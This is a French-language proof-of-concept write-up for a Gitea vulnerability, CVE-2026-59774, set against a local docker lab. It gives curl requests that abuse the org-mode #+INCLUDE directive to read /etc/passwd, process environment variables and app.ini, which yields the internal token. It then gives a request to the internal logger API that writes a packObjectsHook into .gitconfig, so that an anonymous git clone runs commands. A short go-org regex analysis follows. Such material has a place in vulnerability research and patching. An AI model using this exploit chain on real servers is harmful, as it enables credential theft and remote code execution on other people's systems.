
CVE-2026-59774
git clone https://github.com/FlowerWitch/CVE-2026-59774_docker
cd ./CVE-2026-59774_docker
docker compose up -d
Accédez à gitea
new repository est public par défaut, aucune autre configuration n'est nécessaire
curl -X POST "http://localhost:3000/{username}/{repo}/markup" \
-H "Content-Type: application/json" \
-d '{
"Mode": "file",
"FilePath": "poc.org",
"Text": "#+INCLUDE: \"/etc/passwd\" src 123\n",
"Context": "/admin/poc/src/main/"
}'
GITEA_CUSTOM dans /proc/self/environ, on obtient l'emplacement où sont stockées les données de giteacurl -sX POST "http://localhost:3000/admin/poc/markup" -H "Content-Type: application/json" \
-d '{
"Mode": "file",
"FilePath": "poc.org",
"Text": "#+INCLUDE: \"/proc/self/environ\" src 123\n",
"Context": "/admin/poc/src/main/"
}'|grep 'GITEA_CUSTOM='
{GITEA_CUSTOM}/conf/app.ini pour obtenir les champs INTERNAL_TOKEN et APP_DATA_PATHcurl -sX POST "http://localhost:3000/{username}/{repo_name}/markup" -H "Content-Type: application/json" \
-d '{
"Mode": "file",
"FilePath": "poc.org",
"Text": "#+INCLUDE: \"{GITEA_CUSTOM}/conf/app.ini\" src 123\n",
"Context": "/admin/poc/src/main/"
}'|grep -E 'INTERNAL_TOKEN|APP_DATA_PATH'
Mode de cette interface vaut File, elle effectue une écriture en ajout dans un fichier local (si la cible n'existe pas, le répertoire correspondant est créé), et en même temps, lorsque son champ logger vaut router, l'exécution déclenche une entrée de journal, dont le rendu est bien meilleur que celui de default (car il n'y a pas de retour à la ligne XD). Grâce à l'écriture arbitraire offerte par la première, on ajoute au fichier .gitconfig de gitea le champ packObjectsHook afin de déclencher l'exécution de commandes via un clone anonyme.curl -vX POST http://localhost:3000/api/internal/manager/add-logger \
-H "X-Gitea-Internal-Auth: Bearer {INTERNAL_TOKEN}" \
-H "Content-Type: application/json" \
-d '{
"Logger": "router",
"Writer": "pwnhook",
"Mode": "file",
"Config":{
"filename": "{APP_DATA_PATH}/home/.gitconfig",
"flags": "none",
"prefix": "[uploadpack]\n packObjectsHook = id > /tmp/pwned ;#",
"level": "Info",
"rotate": false
}
}'
logger et writer mentionnés ci-dessus.curl -vX POST /api/internal/manager/remove-logger/{Logger}/{Writer} \
-H "X-Gitea-Internal-Auth: Bearer {INTERNAL_TOKEN}" \
git clone déclenche l'exécution de commandesDans go-org 1.9.1, la fonction parseInclude contient une règle de filtrage par expression régulière includeFileRegexp ; il faut qu'elle corresponde pour pouvoir accéder aux fonctions suivantes.
func (d *Document) parseInclude(k Keyword) (int, Node) {
resolve := func() Node {
d.Log.Printf("Bad include %#v", k)
return k
}
if m := includeFileRegexp.FindStringSubmatch(k.Value); m != nil { # <--这里施加了 includeFileRegexp 过滤
path, kind, lang := m[1], m[2], m[3]
if !filepath.IsAbs(path) {
path = filepath.Join(filepath.Dir(d.Path), path)
}
includeFileRegexp correspond aux conditions suivantes
var includeFileRegexp = regexp.MustCompile(`(?i)^"([^"]+)" (src|example|export) (\w+)$`)
Ainsi, un payload comme "#+INCLUDE: \"/etc/passwd\"\n" ne peut pas être mis en correspondance normalement ; la construction doit respecter l'expression, par exemple :
"#+INCLUDE: \"/etc/passwd\" src 123\n"